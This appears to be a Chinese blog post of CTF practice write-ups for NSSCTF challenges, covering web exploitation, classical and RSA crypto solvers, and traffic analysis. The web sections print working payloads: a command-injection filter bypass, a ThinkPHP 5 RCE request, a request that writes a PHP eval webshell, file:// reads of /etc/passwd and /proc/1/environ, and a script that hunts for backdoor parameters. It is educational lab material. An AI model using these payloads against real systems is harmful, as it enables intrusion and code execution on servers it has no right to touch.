刷题学习记录

[LitCTF 2023]导弹迷踪

知识点:js分析

看到题目提示要玩过6关才会有flag

 结果老老实实的玩了6关出现了flag

 另外还有一种方法就是查看js代码,多数网页游戏形式的flag都可以在js代码中找到,只是花费的时间有点多

 

 NSSCTF{y0u_w1n_th1s_!!!}

[NSSCTF 2022 Spring Recruit]ezgame

知识点:js分析

依然是一个网页游戏

 题目没有提示如何得到flag,但是查看源码就会发现flag怎么触发出现

 要求猎兔得到65分就会给出flag,虽然是玩游戏拿分得flag,但是游戏玩到后面就有点难拿高分了

所以就f12看js代码找flag,结果是找到了

NSSCTF{34475e97-2094-4d79-9464-2706b88e8cf4}

[GXYCTF 2019]Ping Ping Ping

知识点:RCE+变量赋值

进入环境

 根据题目及网页的信息知道该网页是可以使用ping的

随便ping一下

 页面提示php可以执行系统函数,接着就使用命令试一下

发现flag.php文件

 直接查看flag.php,cat flag.php

发现空格被过滤了

 现在就要想办法绕过空格,绕过空格的方式有

 同样空格也可以用%20来代替

结果得到

 在查看index.php文件

0.0.0.0;cat$IFS$9index.php

 

查看源码得到真正的题目

源码中/.*f.*l.*a.g./只要匹配到这四个字符组合在一起就显示fxck your flag!

所以可以使用变量赋值的方法对flag进行加工,使其不会匹配到flag

0.0.0.0;q=g;cat$IFS$9fla$q.php(不只是可以对g进行加工,对flag都可以进行加工)

 接着查看源码就可以得到flag

NSSCTF{3b2de89e-b1e5-4658-9d2d-3a8b59b7cfe1}

变量赋值参考:变量赋值_内部怎么给变量赋值-CSDN博客

[LitCTF 2023]Vim yyds

知识点:vim泄漏

进入环境,一般查看源码,没有什么有用的发现就去用工具扫

 源码没有什么发现就去用dirsearch扫

发现有文件

 访问.index.php.swp文件是要下载一个文件

文件打开是

 看到有flag字样,而且是有php代码,但是顺序是乱的

关于 .swp 文件

.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。

使用 vim 编辑器恢复 .swp 交换文件

参考:VIM学习笔记 交换文件(swap) - 知乎

 在kali中

vim -r 文件名

就可以打开文件,查看难道题目源码

源码:

<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";
    eval(system($_POST['cmd']));
}
?>

payload

很简单,只需要 POST 传参 password 等于字符串 “Give_Me_Your_Flag” base64 加密后的值即可。

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

拿到flag

 NSSCTF{a9f20bb8-5ca1-4606-99ca-c01eb6f1d6dd}

[SWPUCTF 2022 新生赛]ez_rce

知识点:RCE

进入环境还是一样的查看源码,但是源码什么都没有,接着就开始使用工具去找题目信息

dirsearch扫目录

 接着一个一个的访问

访问 /.gitignore 页面

发现 thinkphp,就可以想到关于thinkphp的漏洞

访问 /robots.txt 页面

 发现目录:

/NSS/index.php/

访问 /NSS/index.php 页面

是 thinkphp,就去看关于thinkphp的漏洞

参考:https://www.cnblogs.com/lingzhisec/p/15728886.html

Think PHP 5 RCE漏洞复现及排查_thinkphp v5漏洞-CSDN博客

 去找 5.0.x 版本的 payload

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)

最终得到flag

NSSCTF{5f994a59-f7cd-4efc-bc2d-b00b6c11f424}

 同样的可以使用一句话木马用蚁剑连接找到flag

http://node5.anna.nssctf.cn:28037/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=eval.php&vars[1][]=<?php eval($_POST['cmd']);?>

 当前目录下写入了一个 eval.php 文件

 以当前目录下写入的eval.php 文件连接

 

 但是flag不在flag文件里,在nss文件里

NSSCTF{5f994a59-f7cd-4efc-bc2d-b00b6c11f424}

[GDOUCTF 2023]EZ WEB

知识点:HTTP协议

进入页面点击显示

接着查看源码,发现src

访问src

会让下载一个py文件

大致解读文件代码就是要求把GET参数更改为PUT,然后就是文件的路径

访问

/super-secret-route-nobody-will-guess 进行抓包修改数据

得到flag

[GDOUCTF 2023]<ez_ze>

知识点:Jinja2+SSTI

环境页面

 查看源码点击文件提示后得到提示:请求无法访问

而且该ssti模板注入的参数是name

直接使用fenjing

 然后ls查看文件

发现flag文件

接着查看内容得到flag

NSSCTF{dc07a756-9191-4757-b56d-afcfcba67c4d}

 [HDCTF 2023]爬过小山去看云

知识点:HILL密码+CRYPTO

 附件下载得到

题目分析:
  • 小山 --> hill --> 希尔密码
  • 直接使用在线网站解决即可,得到

 yourpiniseightfourtwozeroeightfourtwoonezeroeighteightfourzerotwofourzeroeightfourzeroonezeroonetwofourx

仔细看一下后面是英文的一串数字

your pin is eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x

转换成数字就是

842084210884024084010124

补充:

云影密码

 密码原理
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。

 解密脚本

a="842084210884024084010124"
s=a.split('0')
print(s)
l=[]
for i in s:
    sum=0
    for j in i:
        sum+=eval(j)
    l.append(chr(sum+64))
print(''.join(l))

 解得flag

[HDCTF 2023]Math_Rsa

知识点:二次剩余+CRYPTO+RSA

补充:

二次剩余定理
简要定义:p是素数,a不是p的倍数且与一个平方数模p同余,则称a是模p的二次剩余,记作a∈QR。

例:22 ≡ 4 mod 13 ,a=4,p=13,称a是模13的二次剩余。不只有22,还有32,42…

同理,我们把不等于0也不是模p的二次剩余的数称为非二次剩余。记作a∈NR.

雅可比符号/勒让德符号:前提是p为奇素数

  参考:RSA攻击之Rabin密码体制_michael o. rabin的加密方案-CSDN博客                       

 附件下载打开

from Crypto.Util.number import *
from shin import flag


m=bytes_to_long(flag)
r=getPrime(1024)
assert r%4==3
p=getPrime(1024)
assert pow(p,(r-1)//2,r)==1
q=getPrime(1024)
e=65537
n=p*q
a=pow(p,2,r)
c=pow(m,e,n)
print(f"n = {n}")
print(f"r = {r}")
print(f"a = {a}")
print(f"c = {c}")
'''
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
'''

直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa

套用别人的exp

from Crypto.Util.number import *
import gmpy2
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
e=65537
p = 135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q = n // p
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
print(long_to_bytes(pow(c,d,n)).decode())

[HDCTF 2023]Normal_Rsa

知识点:RSA+素数分解

附件有flag

exp:


import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long, long_to_bytes

# 设置模数
def GF(a):
    global p
    p = a


# 乘法取模
def g(a, b):
    global p
    return pow(a, b, p)


def AMM(x, e, p):
    GF(p)
    y = random.randint(1, p - 1)
    while g(y, (p - 1) // e) == 1:
        y = random.randint(1, p - 1)
        print(y)
    # p-1 = e^t*s
    t = 1
    s = 0
    while p % e == 0:
        t += 1
        print(t)
    s = p // (e ** t)
    # s|ralpha-1
    k = 1
    while ((s * k + 1) % e != 0):
        k += 1
    alpha = (s * k + 1) // e
    # 计算a = y^s b = x^s h =1
    # h为e次非剩余部分的积
    a = g(y, (e ** (t - 1)) * s)
    b = g(x, e * alpha - 1)
    c = g(y, s)
    h = 1
    #
    for i in range(1, t - 1):
        d = g(b, e ** (t - 1 - i))
        if d == 1:
            j = 0
        else:
            j = -math.log(d, a)
        b = b * (g(g(c, e), j))
        h = h * g(c, j)
        c = g(c, e)
    # return (g(x, alpha * h)) % p
    root = (g(x, alpha * h)) % p
    roots = set()
    for i in range(e):
        mp2 = root * g(a, i) % p
        # assert(g(mp2, e) == x)
        roots.add(mp2)
    return roots



e = 65537

q = 6704006258427795304220450411280948926213189680360135534636452074716135019217911134480777251273836898349926894302122011679095979445240343891749741039976761
c = 2247027561636791381460194811205520085150851211795956750955965051548230844233212462525163107917067768507367576366327035846089534916090521357212722275045521111077106695721780943857231570836500588468487620819893688830570842176795906808347617421353983094639290979158413935035603633331786978227439155042365130799647385116773171906670409535157184391352888875130028955334874727206292146950544

mps = AMM(c, e, q)
for mpp in mps:
    solution = str(long_to_bytes(mpp))
    if 'HDCTF' in solution:
        print(solution)

[HDCTF 2023]YamiYami

知识点:反序列化

三个链接分别是

看图一有 URL?=

这个应该是一个文件包含漏洞,我试着能不能访问其他文件

file://etc/passwd

 发现了无法请求,应该是有过滤的代码,我们试着加多点/

file:///etc/passwd

访问成功了!!

但是我们看不到我们想要的答案,那我们读取一下变量环境,也就是init

file:///proc/1/environ

[GDOUCTF 2023]受不了一点

知识点:弱比较+数组绕过+PHP

题目源码

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?> 

 分析:

if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){

post方式传参,参数为ctf和gdou,要求ctf和gdou传入值的md5值相等,这里选择用数组绕过

payload:ctf[]=1&gdou[]=2

 if ($_COOKIE['cookie']=='j0k3r'){

 要求cookie传参的值为cookie=j0k3r

payload:cookie=j0k3r

 if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){

 get方式传参,传参参数为aaa和bbb,给定了相同的数值,但要求二者的值不相等,这里进行绕过,在任意一个114514后加一个字母

payload:aaa=114514&bbb=114514a

 if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){

 这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag

 payload:123=flag&flag=123

 最后合并所有传参情况,得到最后的payload

GET:?aaa=114514&bbb=114514a&123=flag&flag=123
post:gdou[]=1&ctf[]=2
cookie=j0k3r

最后得到flag

 NSSCTF{feffc26a-eb63-4f56-a9f5-a2d5d52b1332}

[SWPUCTF 2022 新生赛]奇妙的MD5

知识点:弱比较+数组+绕过PHP

进入环境

 尝试了许多数都没有什么反应,查看源码也没有什么有用的信息

用bp抓包看一下,也没有什么有用的信息

 dirsearch扫

扫了之后发现flag.php,但是访问没有反应

 补充:

md5强比较,弱比较

强比较:使用三个 ''==='' 比较,比较值,也比较类型

弱比较:使用两个 ''=='' 比较,只比较值,不比较类型

    a==b   将a,b的值转换成同类型再比较值
    a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

相关口诀

    数组绕过,0e绕过

    QNKCDZO 240610708 常用

    md5($a)==md5(md5($a))

    0e215962017

    MD5加密登录万能通用

    ffifdyop

 运用ffifdyop

 看源码

 传参,MD5值相等,选择数组绕过

?x[]=1&y[]=2

 传入后Url多出一个后台,访问一下得到

 post传参选则数组绕过

wqh[]=1&dsy[]=2

 得到flag

 [HNCTF 2022 Week1]Interesting_http

 知识点:HTTP协议+Linux相关

一来就要post传参,查看源码也没有什么有用信息

 虽然不知带参数,但是题目上的信息可以用来尝试,显示不是用户

want=flag

 Cookies 是一种存储在用户计算机或手机浏览器中的小文件,它能够存储一些关于网站用户的信息。当用户在访问该网站时,该网站可以通过读取 Cookies 中的信息,实现一些个性化的功能,例如自动登录、记忆用户的设置和偏好、购物车中的商品等等。同时,Cookies 还可以用于网站数据跟踪和分析,帮助网站拼凑和分析用户行为以及提供更好的服务。

Cookies:user=admin

 结果,提示没有位置即没有ip,那就弄一个代理得到flag

X-Forwarded-For头部的作用是记录用户的真实IP地址和代理服务器的IP地址。当用户通过代理服务器访问网站时,服务器只能获取到代理服务器的IP地址,而无法获取到用户的真实IP地址。通过使用X-Forwarded-For头部,代理服务器可以将用户的真实IP地址添加到HTTP请求的头部中,从而让服务器能够获取到用户的真实IP地址。

 [HNCTF 2022 Week1]What is Web

知识点:源码泄露

进入环境直接查看源码就会发现flag的base64编码

 直接解码的flag

NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}

 [MoeCTF 2021]Web安全入门指北—小饼干

知识点:HTTP协议+COOKIE

 题目提示HTTP请求

 不是VIP

 

 直接抓包改VIP直接就得到flag

NSSCTF{73c2c723-e393-4491-b43a-659c25a1f7f6}

[NCTF 2018]flask真香

知识点:SSTI+Flask

进入直接测试是否存在ssti注入问题

 结果是存在的

直接上fenjing一把梭哈

python3 -m fenjing crack-path -u 'http://node4.anna.nssctf.cn:28042/'

 

直接拿flag

NSSCTF{1da5950e-5a6b-4188-8882-ce67a6b43351}

[鹤城杯 2021]easy_crypto 

知识点:古典密码(社会主义核心价值观加密/解密)

附件

 直接使用网站在线解密

 [鹤城杯 2021]流量分析

知识点:流量分析+日志审计+脚本编写

打开附件是流量包

发现长度994的最多其次是978,但是追踪流发现存在SQL注入中的布尔盲注,注入成功的是978(因为994的流量比978的多很多,分析一下可以判断出978是注入成功的)

使用过滤语法  frame.len == 978 过滤长度为978的包 然后导出为文本一定要先过滤再导出 不然就会把全部的导出

直接搬用别人的脚本

import re
s = r"from%20t\),([0-9]*),1\)\)=([0-9]*)"
pat = re.compile(s)
f = open("timu.pcapng","rb")
st = f.read().decode("utf-8","ignore")
lis = pat.findall(st)
flag = ['' for i in range(1000)]
for t in lis:
    flag[int(t[0])] = chr(int(t[1]))


for i in flag:
    print(i,end="")

 

 [鹤城杯 2021]A_MISC

知识点:密码爆破+流量分析+压缩包分析

压缩包解压密码破解

 得到

需要密码

 在010编辑器中更改图片宽度让隐藏的信息显示出来

 

https://pan.baidu.com/s/1cG2QvYy3khpQGLfjfbYevg
密码: cavb

下载到附件打开

分析流量包,发现存在sql注入流量

 提取ASCII码转字符串得到flag

102 108 97 103 123 99 100 50 99 51 101 50 102 101 97 52 54 51 100 101 100 57 97 102 56 48 48 100 55 49 53 53 98 101 55 97 113 125

[强网杯 2019]高明的黑客

进入环境

 访问node4.anna.nssctf.cn:28705/www.tar.gz

下载文件

发现了三千多个php文件,打开几个文件,发现有可以传参的地方,尝试传参,但命令并没有被执行

这三千多文件里有一定能被利用的shell,于是编写脚本尝试

自己不会编写脚本只能使用大佬的了

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"F:phpstudy/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG

直接cat /flag

  • 23
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值